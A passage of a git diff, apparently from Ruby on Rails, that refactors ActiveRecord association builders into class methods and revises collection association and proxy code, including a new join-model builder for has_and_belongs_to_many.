+      extension = define_extensions model, name, &block
+      reflection = create_reflection model, name, scope, options, extension
+      define_accessors model, reflection
+      define_callbacks model, reflection
+      define_validations model, reflection
+      reflection
+    end
+
+    def self.create_reflection(model, name, scope, options, extension = nil)
       raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
 
       if scope.is_a?(Hash)
@@ -29,47 +41,52 @@ module ActiveRecord::Associations::Builder
         scope   = nil
       end
 
-      builder = new(name, scope, options, &block)
-      reflection = builder.build(model)
-      builder.define_accessors model
-      builder.define_callbacks model, reflection
-      builder.define_extensions model
-      reflection
-    end
+      validate_options(options)
+
+      scope = build_scope(scope, extension)
 
-    def initialize(name, scope, options)
-      @name    = name
-      @scope   = scope
-      @options = options
+      ActiveRecord::Reflection.create(macro, name, scope, options, model)
+    end
 
-      validate_options
+    def self.build_scope(scope, extension)
+      new_scope = scope
 
       if scope && scope.arity == 0
-        @scope = proc { instance_exec(&scope) }
+        new_scope = proc { instance_exec(&scope) }
       end
+
+      if extension
+        new_scope = wrap_scope new_scope, extension
+      end
+
+      new_scope
     end
 
-    def build(model)
-      ActiveRecord::Reflection.create(macro, name, scope, options, model)
+    def self.wrap_scope(scope, extension)
+      scope
     end
 
-    def macro
+    def self.macro
       raise NotImplementedError
     end
 
-    def valid_options
+    def self.valid_options(options)
       VALID_OPTIONS + Association.extensions.flat_map(&:valid_options)
     end
 
-    def validate_options
-      options.assert_valid_keys(valid_options)
+    def self.validate_options(options)
+      options.assert_valid_keys(valid_options(options))
     end
 
-    def define_extensions(model)
+    def self.define_extensions(model, name)
     end
 
-    def define_callbacks(model, reflection)
-      add_before_destroy_callbacks(model, name) if options[:dependent]
+    def self.define_callbacks(model, reflection)
+      if dependent = reflection.options[:dependent]
+        check_dependent_options(dependent)
+        add_destroy_callbacks(model, reflection)
+      end
+
       Association.extensions.each do |extension|
         extension.build model, reflection
       end
@@ -81,14 +98,14 @@ module ActiveRecord::Associations::Builder
     # end
     #
     # Post.first.comments and Post.first.comments= methods are defined by this method...
-
-    def define_accessors(model)
-      mixin = model.generated_feature_methods
-      define_readers(mixin)
-      define_writers(mixin)
+    def self.define_accessors(model, reflection)
+      mixin = model.generated_association_methods
+      name = reflection.name
+      define_readers(mixin, name)
+      define_writers(mixin, name)
     end
 
-    def define_readers(mixin)
+    def self.define_readers(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name}(*args)
           association(:#{name}).reader(*args)
@@ -96,7 +113,7 @@ module ActiveRecord::Associations::Builder
       CODE
     end
 
-    def define_writers(mixin)
+    def self.define_writers(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name}=(value)
           association(:#{name}).writer(value)
@@ -104,17 +121,22 @@ module ActiveRecord::Associations::Builder
       CODE
     end
 
-    def valid_dependent_options
-      raise NotImplementedError
+    def self.define_validations(model, reflection)
+      # noop
     end
 
-    private
+    def self.valid_dependent_options
+      raise NotImplementedError
+    end
 
-    def add_before_destroy_callbacks(model, name)
-      unless valid_dependent_options.include? options[:dependent]
-        raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{options[:dependent]}"
+    def self.check_dependent_options(dependent)
+      unless valid_dependent_options.include? dependent
+        raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{dependent}"
       end
+    end
 
+    def self.add_destroy_callbacks(model, reflection)
+      name = reflection.name
       model.before_destroy lambda { |o| o.association(name).handle_dependency }
     end
   end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index 4e88b50ec5..d0ad57f9c6 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -1,64 +1,39 @@
 module ActiveRecord::Associations::Builder
   class BelongsTo < SingularAssociation #:nodoc:
-    def macro
+    def self.macro
       :belongs_to
     end
 
-    def valid_options
-      super + [:foreign_type, :polymorphic, :touch]
+    def self.valid_options(options)
+      super + [:foreign_type, :polymorphic, :touch, :counter_cache]
     end
 
-    def constructable?
-      !options[:polymorphic]
-    end
-
-    def valid_dependent_options
+    def self.valid_dependent_options
       [:destroy, :delete]
     end
 
-    def define_callbacks(model, reflection)
+    def self.define_callbacks(model, reflection)
       super
-      add_counter_cache_callbacks(model, reflection) if options[:counter_cache]
-      add_touch_callbacks(model, reflection)         if options[:touch]
+      add_counter_cache_callbacks(model, reflection) if reflection.options[:counter_cache]
+      add_touch_callbacks(model, reflection)         if reflection.options[:touch]
     end
 
-    def define_accessors(mixin)
+    def self.define_accessors(mixin, reflection)
       super
       add_counter_cache_methods mixin
     end
 
-    private
-
-    def add_counter_cache_methods(mixin)
-      return if mixin.method_defined? :belongs_to_counter_cache_after_create
+    def self.add_counter_cache_methods(mixin)
+      return if mixin.method_defined? :belongs_to_counter_cache_after_update
 
       mixin.class_eval do
-        def belongs_to_counter_cache_after_create(association, reflection)
-          if record = send(association.name)
-            cache_column = reflection.counter_cache_column
-            record.class.increment_counter(cache_column, record.id)
-            @_after_create_counter_called = true
-          end
-        end
-
-        def belongs_to_counter_cache_before_destroy(association, reflection)
-          foreign_key = reflection.foreign_key.to_sym
-          unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
-            record = send association.name
-            if record && !self.destroyed?
-              cache_column = reflection.counter_cache_column
-              record.class.decrement_counter(cache_column, record.id)
-            end
-          end
-        end
-
-        def belongs_to_counter_cache_after_update(association, reflection)
+        def belongs_to_counter_cache_after_update(reflection)
           foreign_key  = reflection.foreign_key
           cache_column = reflection.counter_cache_column
 
           if (@_after_create_counter_called ||= false)
             @_after_create_counter_called = false
-          elsif attribute_changed?(foreign_key) && !new_record? && association.constructable?
+          elsif attribute_changed?(foreign_key) && !new_record? && reflection.constructable?
             model           = reflection.klass
             foreign_key_was = attribute_was foreign_key
             foreign_key     = attribute foreign_key
@@ -74,20 +49,11 @@ module ActiveRecord::Associations::Builder
       end
     end
 
-    def add_counter_cache_callbacks(model, reflection)
+    def self.add_counter_cache_callbacks(model, reflection)
       cache_column = reflection.counter_cache_column
-      association = self
-
-      model.after_create lambda { |record|
-        record.belongs_to_counter_cache_after_create(association, reflection)
-      }
-
-      model.before_destroy lambda { |record|
-        record.belongs_to_counter_cache_before_destroy(association, reflection)
-      }
 
       model.after_update lambda { |record|
-        record.belongs_to_counter_cache_after_update(association, reflection)
+        record.belongs_to_counter_cache_after_update(reflection)
       }
 
       klass = reflection.class_name.safe_constantize
@@ -98,7 +64,13 @@ module ActiveRecord::Associations::Builder
       old_foreign_id = o.changed_attributes[foreign_key]
 
       if old_foreign_id
-        klass      = o.association(name).klass
+        association = o.association(name)
+        reflection = association.reflection
+        if reflection.polymorphic?
+          klass = o.public_send("#{reflection.foreign_type}_was").constantize
+        else
+          klass = association.klass
+        end
         old_record = klass.find_by(klass.primary_key => old_foreign_id)
 
         if old_record
@@ -111,7 +83,7 @@ module ActiveRecord::Associations::Builder
       end
 
       record = o.send name
-      unless record.nil? || record.new_record?
+      if record && record.persisted?
         if touch != true
           record.touch touch
         else
@@ -120,18 +92,23 @@ module ActiveRecord::Associations::Builder
       end
     end
 
-    def add_touch_callbacks(model, reflection)
+    def self.add_touch_callbacks(model, reflection)
       foreign_key = reflection.foreign_key
-      n           = name
-      touch       = options[:touch]
+      n           = reflection.name
+      touch       = reflection.options[:touch]
 
       callback = lambda { |record|
         BelongsTo.touch_record(record, foreign_key, n, touch)
       }
 
-      model.after_save    callback
+      model.after_save    callback, if: :changed?
       model.after_touch   callback
       model.after_destroy callback
     end
+
+    def self.add_destroy_callbacks(model, reflection)
+      name = reflection.name
+      model.after_destroy lambda { |o| o.association(name).handle_dependency }
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index 7bd0687c0b..2ff67f904d 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -1,4 +1,4 @@
-# This class is inherited by the has_many and has_many_and_belongs_to_many association classes 
+# This class is inherited by the has_many and has_many_and_belongs_to_many association classes
 
 require 'active_record/associations'
 
@@ -7,35 +7,29 @@ module ActiveRecord::Associations::Builder
 
     CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
 
-    def valid_options
+    def self.valid_options(options)
       super + [:table_name, :before_add,
                :after_add, :before_remove, :after_remove, :extend]
     end
 
-    attr_reader :block_extension
-
-    def initialize(name, scope, options)
+    def self.define_callbacks(model, reflection)
       super
-      @mod = nil
-      if block_given?
-        @mod = Module.new(&Proc.new)
-        @scope = wrap_scope @scope, @mod
-      end
+      name    = reflection.name
+      options = reflection.options
+      CALLBACKS.each { |callback_name|
+        define_callback(model, callback_name, name, options)
+      }
     end
 
-    def define_callbacks(model, reflection)
-      super
-      CALLBACKS.each { |callback_name| define_callback(model, callback_name) }
-    end
-
-    def define_extensions(model)
-      if @mod
+    def self.define_extensions(model, name)
+      if block_given?
         extension_module_name = "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
-        model.parent.const_set(extension_module_name, @mod)
+        extension = Module.new(&Proc.new)
+        model.parent.const_set(extension_module_name, extension)
       end
     end
 
-    def define_callback(model, callback_name)
+    def self.define_callback(model, callback_name, name, options)
       full_callback_name = "#{callback_name}_for_#{name}"
 
       # TODO : why do i need method_defined? I think its because of the inheritance chain
@@ -54,8 +48,7 @@ module ActiveRecord::Associations::Builder
     end
 
     # Defines the setter and getter methods for the collection_singular_ids.
-
-    def define_readers(mixin)
+    def self.define_readers(mixin, name)
       super
 
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -65,7 +58,7 @@ module ActiveRecord::Associations::Builder
       CODE
     end
 
-    def define_writers(mixin)
+    def self.define_writers(mixin, name)
       super
 
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -75,9 +68,7 @@ module ActiveRecord::Associations::Builder
       CODE
     end
 
-    private
-
-    def wrap_scope(scope, mod)
+    def self.wrap_scope(scope, mod)
       if scope
         proc { |owner| instance_exec(owner, &scope).extending(mod) }
       else
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
index 55ec3bf4f1..93dc4ae118 100644
--- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -1,24 +1,124 @@
 module ActiveRecord::Associations::Builder
-  class HasAndBelongsToMany < CollectionAssociation #:nodoc:
-    def macro
-      :has_and_belongs_to_many
+  class HasAndBelongsToMany # :nodoc:
+    class JoinTableResolver
+      KnownTable = Struct.new :join_table
+
+      class KnownClass
+        def initialize(lhs_class, rhs_class_name)
+          @lhs_class      = lhs_class
+          @rhs_class_name = rhs_class_name
+          @join_table     = nil
+        end
+
+        def join_table
+          @join_table ||= [@lhs_class.table_name, klass.table_name].sort.join("\0").gsub(/^(.*[._])(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
+        end
+
+        private
+
+        def klass
+          @lhs_class.send(:compute_type, @rhs_class_name)
+        end
+      end
+
+      def self.build(lhs_class, name, options)
+        if options[:join_table]
+          KnownTable.new options[:join_table].to_s
+        else
+          class_name = options.fetch(:class_name) {
+            name.to_s.camelize.singularize
+          }
+          KnownClass.new lhs_class, class_name
+        end
+      end
     end
 
-    def valid_options
-      super + [:join_table, :association_foreign_key]
+    attr_reader :lhs_model, :association_name, :options
+
+    def initialize(association_name, lhs_model, options)
+      @association_name = association_name
+      @lhs_model = lhs_model
+      @options = options
     end
 
-    def define_callbacks(model, reflection)
-      super
-      name = self.name
-      model.send(:include, Module.new {
-        class_eval <<-RUBY, __FILE__, __LINE__ + 1
-          def destroy_associations
-            association(:#{name}).delete_all
-            super
-          end
-        RUBY
-      })
+    def through_model
+      habtm = JoinTableResolver.build lhs_model, association_name, options
+
+      join_model = Class.new(ActiveRecord::Base) {
+        class << self;
+          attr_accessor :class_resolver
+          attr_accessor :name
+          attr_accessor :table_name_resolver
+          attr_accessor :left_reflection
+          attr_accessor :right_reflection
+        end
+
+        def self.table_name
+          table_name_resolver.join_table
+        end
+
+        def self.compute_type(class_name)
+          class_resolver.compute_type class_name
+        end
+
+        def self.add_left_association(name, options)
+          belongs_to name, options
+          self.left_reflection = _reflect_on_association(name)
+        end
+
+        def self.add_right_association(name, options)
+          rhs_name = name.to_s.singularize.to_sym
+          belongs_to rhs_name, options
+          self.right_reflection = _reflect_on_association(rhs_name)
+        end
+
+      }
+
+      join_model.name                = "HABTM_#{association_name.to_s.camelize}"
+      join_model.table_name_resolver = habtm
+      join_model.class_resolver      = lhs_model
+
+      join_model.add_left_association :left_side, class: lhs_model
+      join_model.add_right_association association_name, belongs_to_options(options)
+      join_model
+    end
+
+    def middle_reflection(join_model)
+      middle_name = [lhs_model.name.downcase.pluralize,
+                     association_name].join('_').gsub(/::/, '_').to_sym
+      middle_options = middle_options join_model
+
+      HasMany.create_reflection(lhs_model,
+                                middle_name,
+                                nil,
+                                middle_options)
+    end
+
+    private
+
+    def middle_options(join_model)
+      middle_options = {}
+      middle_options[:class_name] = "#{lhs_model.name}::#{join_model.name}"
+      middle_options[:source] = join_model.left_reflection.name
+      if options.key? :foreign_key
+        middle_options[:foreign_key] = options[:foreign_key]
+      end
+      middle_options
+    end
+
+    def belongs_to_options(options)
+      rhs_options = {}
+
+      if options.key? :class_name
+        rhs_options[:foreign_key] = options[:class_name].to_s.foreign_key
+        rhs_options[:class_name] = options[:class_name]
+      end
+
+      if options.key? :association_foreign_key
+        rhs_options[:foreign_key] = options[:association_foreign_key]
+      end
+
+      rhs_options
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index a60cb4769a..1c1b47bd56 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -1,14 +1,14 @@
 module ActiveRecord::Associations::Builder
   class HasMany < CollectionAssociation #:nodoc:
-    def macro
+    def self.macro
       :has_many
     end
 
-    def valid_options
-      super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache]
+    def self.valid_options(options)
+      super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table, :foreign_type]
     end
 
-    def valid_dependent_options
+    def self.valid_dependent_options
       [:destroy, :delete_all, :nullify, :restrict_with_error, :restrict_with_exception]
     end
   end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 62d454ce55..64e9e6b334 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -1,27 +1,21 @@
 module ActiveRecord::Associations::Builder
   class HasOne < SingularAssociation #:nodoc:
-    def macro
+    def self.macro
       :has_one
     end
 
-    def valid_options
-      valid = super + [:order, :as]
+    def self.valid_options(options)
+      valid = super + [:as, :foreign_type]
       valid += [:through, :source, :source_type] if options[:through]
       valid
     end
 
-    def constructable?
-      !options[:through]
-    end
-
-    def valid_dependent_options
+    def self.valid_dependent_options
       [:destroy, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
     end
 
-    private
-
-    def add_before_destroy_callbacks(model, name)
-      super unless options[:through]
+    def self.add_destroy_callbacks(model, reflection)
+      super unless reflection.options[:through]
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index d97c0e9afd..f6274c027e 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -1,23 +1,18 @@
-# This class is inherited by the has_one and belongs_to association classes 
+# This class is inherited by the has_one and belongs_to association classes
 
 module ActiveRecord::Associations::Builder
   class SingularAssociation < Association #:nodoc:
-    def valid_options
-      super + [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
+    def self.valid_options(options)
+      super + [:dependent, :primary_key, :inverse_of, :required]
     end
 
-    def constructable?
-      true
-    end
-
-    def define_accessors(model)
+    def self.define_accessors(model, reflection)
       super
-      define_constructors(model.generated_feature_methods) if constructable?
+      define_constructors(model.generated_association_methods, reflection.name) if reflection.constructable?
     end
 
     # Defines the (build|create)_association methods for belongs_to or has_one association
-
-    def define_constructors(mixin)
+    def self.define_constructors(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def build_#{name}(*args, &block)
           association(:#{name}).build(*args, &block)
@@ -32,5 +27,12 @@ module ActiveRecord::Associations::Builder
         end
       CODE
     end
+
+    def self.define_validations(model, reflection)
+      super
+      if reflection.options[:required]
+        model.validates_presence_of reflection.name, message: :required
+      end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index 228c500f0a..4b7591e15c 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -4,10 +4,9 @@ module ActiveRecord
     #
     # CollectionAssociation is an abstract class that provides common stuff to
     # ease the implementation of association proxies that represent
-    # collections. See the class hierarchy in AssociationProxy.
+    # collections. See the class hierarchy in Association.
     #
     #   CollectionAssociation:
-    #     HasAndBelongsToManyAssociation => has_and_belongs_to_many
     #     HasManyAssociation => has_many
     #       HasManyThroughAssociation + ThroughAssociation => has_many :through
     #
@@ -34,7 +33,13 @@ module ActiveRecord
           reload
         end
 
-        @proxy ||= CollectionProxy.create(klass, self)
+        if owner.new_record?
+          # Cache the proxy separately before the owner has an id
+          # or else a post-save proxy will still lack the id
+          @new_record_proxy ||= CollectionProxy.create(klass, self)
+        else
+          @proxy ||= CollectionProxy.create(klass, self)
+        end
       end
 
       # Implements the writer method, e.g. foo.items= for Foo.has_many :items
@@ -56,10 +61,10 @@ module ActiveRecord
 
       # Implements the ids writer method, e.g. foo.item_ids= for Foo.has_many :items
       def ids_writer(ids)
-        pk_column = reflection.primary_key_column
-        ids = Array(ids).reject { |id| id.blank? }
-        ids.map! { |i| pk_column.type_cast(i) }
-        replace(klass.find(ids).index_by { |r| r.id }.values_at(*ids))
+        pk_type = reflection.primary_key_type
+        ids = Array(ids).reject(&:blank?)
+        ids.map! { |i| pk_type.type_cast_from_user(i) }
+        replace(klass.find(ids).index_by(&:id).values_at(*ids))
       end
 
       def reset
@@ -67,11 +72,11 @@ module ActiveRecord
         @target = []
       end
 
-      def select(select = nil)
+      def select(*fields)
         if block_given?
           load_target.select.each { |e| yield e }
         else
-          scope.select(select)
+          scope.select(*fields)
         end
       end
 
@@ -80,14 +85,13 @@ module ActiveRecord
           load_target.find(*args) { |*block_args| yield(*block_args) }
         else
           if options[:inverse_of] && loaded?
-            args = args.flatten
-            raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args.blank?
-
+            args_flatten = args.flatten
+            raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args_flatten.blank?
             result = find_by_scan(*args)
 
             result_size = Array(result).size
-            if !result || result_size != args.size
-              scope.raise_record_not_found_exception!(args, result_size, args.size)
+            if !result || result_size != args_flatten.size
+              scope.raise_record_not_found_exception!(args_flatten, result_size, args_flatten.size)
             else
               result
             end
@@ -98,11 +102,31 @@ module ActiveRecord
       end
 
       def first(*args)
-        first_or_last(:first, *args)
+        first_nth_or_last(:first, *args)
+      end
+
+      def second(*args)
+        first_nth_or_last(:second, *args)
+      end
+
+      def third(*args)
+        first_nth_or_last(:third, *args)
+      end
+
+      def fourth(*args)
+        first_nth_or_last(:fourth, *args)
+      end
+
+      def fifth(*args)
+        first_nth_or_last(:fifth, *args)
+      end
+
+      def forty_two(*args)
+        first_nth_or_last(:forty_two, *args)
       end
 
       def last(*args)
-        first_or_last(:last, *args)
+        first_nth_or_last(:last, *args)
       end
 
       def build(attributes = {}, &block)
@@ -116,20 +140,20 @@ module ActiveRecord
       end
 
       def create(attributes = {}, &block)
-        create_record(attributes, &block)
+        _create_record(attributes, &block)
       end
 
       def create!(attributes = {}, &block)
-        create_record(attributes, true, &block)
+        _create_record(attributes, true, &block)
       end
 
       # Add +records+ to this association. Returns +self+ so method calls may
       # be chained. Since << flattens its argument list and inserts each record,
       # +push+ and +concat+ behave identically.
       def concat(*records)
-        load_target if owner.new_record?
-
+        records = records.flatten
         if owner.new_record?
+          load_target
           concat_records(records)
         else
           transaction { concat_records(records) }
@@ -152,8 +176,8 @@ module ActiveRecord
       end
 
       # Removes all records from the association without calling callbacks
-      # on the associated records. It honors the `:dependent` option. However
-      # if the `:dependent` value is `:destroy` then in that case the default
+      # on the associated records. It honors the +:dependent+ option. However
+      # if the +:dependent+ value is +:destroy+ then in that case the +:delete_all+
       # deletion strategy for the association is applied.
       #
       # You can force a particular deletion strategy by passing a parameter.
@@ -165,21 +189,19 @@ module ActiveRecord
       #
       # See delete for more info.
       def delete_all(dependent = nil)
-        if dependent.present? && ![:nullify, :delete_all].include?(dependent)
+        if dependent && ![:nullify, :delete_all].include?(dependent)
           raise ArgumentError, "Valid values are :nullify or :delete_all"
         end
 
-        dependent = if dependent.present?
+        dependent = if dependent
                       dependent
                     elsif options[:dependent] == :destroy
-                      # since delete_all should not invoke callbacks so use the default deletion strategy
-                      # for :destroy
-                      reflection.is_a?(ActiveRecord::Reflection::ThroughReflection) ? :delete_all : :nullify
+                      :delete_all
                     else
                       options[:dependent]
                     end
 
-        delete(:all, dependent: dependent).tap do
+        delete_or_nullify_all_records(dependent).tap do
           reset
           loaded!
         end
@@ -197,9 +219,7 @@ module ActiveRecord
 
       # Count all records using SQL.  Construct options and pass them with
       # scope to the target class's +count+.
-      def count(column_name = nil, count_options = {})
-        column_name, count_options = nil, column_name if column_name.is_a?(Hash)
-
+      def count(column_name = nil)
         relation = scope
         if association_scope.distinct_value
           # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
@@ -227,19 +247,12 @@ module ActiveRecord
       # are actually removed from the database, that depends precisely on
       # +delete_records+. They are in any case removed from the collection.
       def delete(*records)
+        return if records.empty?
         _options = records.extract_options!
         dependent = _options[:dependent] || options[:dependent]
 
-        if records.first == :all
-          if loaded? || dependent == :destroy
-            delete_or_destroy(load_target, dependent)
-          else
-            delete_records(:all, dependent)
-          end
-        else
-          records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
-          delete_or_destroy(records, dependent)
-        end
+        records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
+        delete_or_destroy(records, dependent)
       end
 
       # Deletes the +records+ and removes them from this association calling
@@ -248,6 +261,7 @@ module ActiveRecord
       # Note that this method removes records from the database ignoring the
       # +:dependent+ option.
       def destroy(*records)
+        return if records.empty?
         records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
         delete_or_destroy(records, :destroy)
       end
@@ -272,7 +286,7 @@ module ActiveRecord
         elsif !loaded? && !association_scope.group_values.empty?
           load_target.size
         elsif !loaded? && !association_scope.distinct_value && target.is_a?(Array)
-          unsaved_records = target.select { |r| r.new_record? }
+          unsaved_records = target.select(&:new_record?)
           unsaved_records.size + count_records
         else
           count_records
@@ -341,7 +355,10 @@ module ActiveRecord
         if owner.new_record?
           replace_records(other_array, original_target)
         else
-          transaction { replace_records(other_array, original_target) }
+          replace_common_records_in_memory(other_array, original_target)
+          if other_array != original_target
+            transaction { replace_records(other_array, original_target) }
+          end
         end
       end
 
@@ -350,7 +367,7 @@ module ActiveRecord
           if record.new_record?
             include_in_memory?(record)
           else
-            loaded? ? target.include?(record) : scope.exists?(record)
+            loaded? ? target.include?(record) : scope.exists?(record.id)
           end
         else
           false
@@ -366,11 +383,18 @@ module ActiveRecord
         target
       end
 
-      def add_to_target(record, skip_callbacks = false)
+      def add_to_target(record, skip_callbacks = false, &block)
+        if association_scope.distinct_value
+          index = @target.index(record)
+        end
+        replace_on_target(record, index, skip_callbacks, &block)
+      end
+
+      def replace_on_target(record, index, skip_callbacks)
         callback(:before_add, record) unless skip_callbacks
         yield(record) if block_given?
 
-        if association_scope.distinct_value && index = @target.index(record)
+        if index
           @target[index] = record
         else
           @target << record
@@ -393,9 +417,29 @@ module ActiveRecord
       end
 
       private
+      def get_records
+        if reflection.scope_chain.any?(&:any?) ||
+          scope.eager_loading? ||
+          klass.current_scope ||
+          klass.default_scopes.any?
+
+          return scope.to_a
+        end
+
+        conn = klass.connection
+        sc = reflection.association_scope_cache(conn, owner) do
+          StatementCache.create(conn) { |params|
+            as = AssociationScope.create { params.bind }
+            target_scope.merge as.scope(self, conn)
+          }
+        end
+
+        binds = AssociationScope.get_bind_values(owner, reflection.chain)
+        sc.execute binds, klass, klass.connection
+      end
 
         def find_target
-          records = scope.to_a
+          records = get_records
           records.each { |record| set_inverse_instance(record) }
           records
         end
@@ -430,13 +474,13 @@ module ActiveRecord
           persisted + memory
         end
 
-        def create_record(attributes, raise = false, &block)
+        def _create_record(attributes, raise = false, &block)
           unless owner.persisted?
             raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
           end
 
           if attributes.is_a?(Array)
-            attributes.collect { |attr| create_record(attr, raise, &block) }
+            attributes.collect { |attr| _create_record(attr, raise, &block) }
           else
             transaction do
               add_to_target(build_record(attributes)) do |record|
@@ -459,7 +503,7 @@ module ActiveRecord
         def delete_or_destroy(records, method)
           records = records.flatten
           records.each { |record| raise_on_type_mismatch!(record) }
-          existing_records = records.reject { |r| r.new_record? }
+          existing_records = records.reject(&:new_record?)
 
           if existing_records.empty?
             remove_records(existing_records, records, method)
@@ -495,13 +539,21 @@ module ActiveRecord
           target
         end
 
-        def concat_records(records)
+        def replace_common_records_in_memory(new_target, original_target)
+          common_records = new_target & original_target
+          common_records.each do |record|
+            skip_callbacks = true
+            replace_on_target(record, @target.index(record), skip_callbacks)
+          end
+        end
+
+        def concat_records(records, should_raise = false)
           result = true
 
-          records.flatten.each do |record|
+          records.each do |record|
             raise_on_type_mismatch!(record)
             add_to_target(record) do |rec|
-              result &&= insert_record(rec) unless owner.new_record?
+              result &&= insert_record(rec, true, should_raise) unless owner.new_record?
             end
           end
 
@@ -528,23 +580,22 @@ module ActiveRecord
         #   * target already loaded
         #   * owner is new record
         #   * target contains new or changed record(s)
-        #   * the first arg is an integer (which indicates the number of records to be returned)
-        def fetch_first_or_last_using_find?(args)
+        def fetch_first_nth_or_last_using_find?(args)
           if args.first.is_a?(Hash)
             true
           else
             !(loaded? ||
               owner.new_record? ||
-              target.any? { |record| record.new_record? || record.changed? } ||
-              args.first.kind_of?(Integer))
+              target.any? { |record| record.new_record? || record.changed? })
           end
         end
 
         def include_in_memory?(record)
           if reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)
-            owner.send(reflection.through_reflection.name).any? { |source|
-              target = source.send(reflection.source_reflection.name)
-              target.respond_to?(:include?) ? target.include?(record) : target == record
+            assoc = owner.association(reflection.through_reflection.name)
+            assoc.reader.any? { |source|
+              target_reflection = source.send(reflection.source_reflection.name)
+              target_reflection.respond_to?(:include?) ? target_reflection.include?(record) : target_reflection == record
             } || target.include?(record)
           else
             target.include?(record)
@@ -555,22 +606,22 @@ module ActiveRecord
         # specified, then #find scans the entire collection.
         def find_by_scan(*args)
           expects_array = args.first.kind_of?(Array)
-          ids           = args.flatten.compact.map{ |arg| arg.to_i }.uniq
+          ids           = args.flatten.compact.map(&:to_s).uniq
 
           if ids.size == 1
             id = ids.first
-            record = load_target.detect { |r| id == r.id }
+            record = load_target.detect { |r| id == r.id.to_s }
             expects_array ? [ record ] : record
           else
-            load_target.select { |r| ids.include?(r.id) }
+            load_target.select { |r| ids.include?(r.id.to_s) }
           end
         end
 
         # Fetches the first/last using SQL if possible, otherwise from the target array.
-        def first_or_last(type, *args)
+        def first_nth_or_last(type, *args)
           args.shift if args.first.is_a?(Hash) && args.first.empty?
 
-          collection = fetch_first_or_last_using_find?(args) ? scope : load_target
+          collection = fetch_first_nth_or_last_using_find?(args) ? scope : load_target
           collection.send(type, *args).tap do |record|
             set_inverse_instance record if record.is_a? ActiveRecord::Base
           end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index ea7f768a68..c22dc6e11e 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -29,10 +29,11 @@ module ActiveRecord
     # instantiation of the actual post records.
     class CollectionProxy < Relation
       delegate(*(ActiveRecord::Calculations.public_instance_methods - [:count]), to: :scope)
+      delegate :find_nth, to: :scope
 
       def initialize(klass, association) #:nodoc:
         @association = association
-        super klass, klass.arel_table
+        super klass, klass.arel_table, klass.predicate_builder
         merge! association.scope(nullify: false)
       end
 
@@ -75,7 +76,7 @@ module ActiveRecord
       #   #      #<Pet id: nil, name: "Choo-Choo">
       #   #    ]
       #
-      #   person.pets.select([:id, :name])
+      #   person.pets.select(:id, :name )
       #   # => [
       #   #      #<Pet id: 1, name: "Fancy-Fancy">,
       #   #      #<Pet id: 2, name: "Spook">,
@@ -84,7 +85,7 @@ module ActiveRecord
       #
       # Be careful because this also means you're initializing a model
       # object with only the fields that you've selected. If you attempt
-      # to access a field that is not in the initialized record you'll
+      # to access a field except +id+ that is not in the initialized record you'll
       # receive:
       #
       #   person.pets.select(:name).first.person_id
@@ -106,13 +107,13 @@ module ActiveRecord
       #   #      #<Pet id: 2, name: "Spook">,
       #   #      #<Pet id: 3, name: "Choo-Choo">
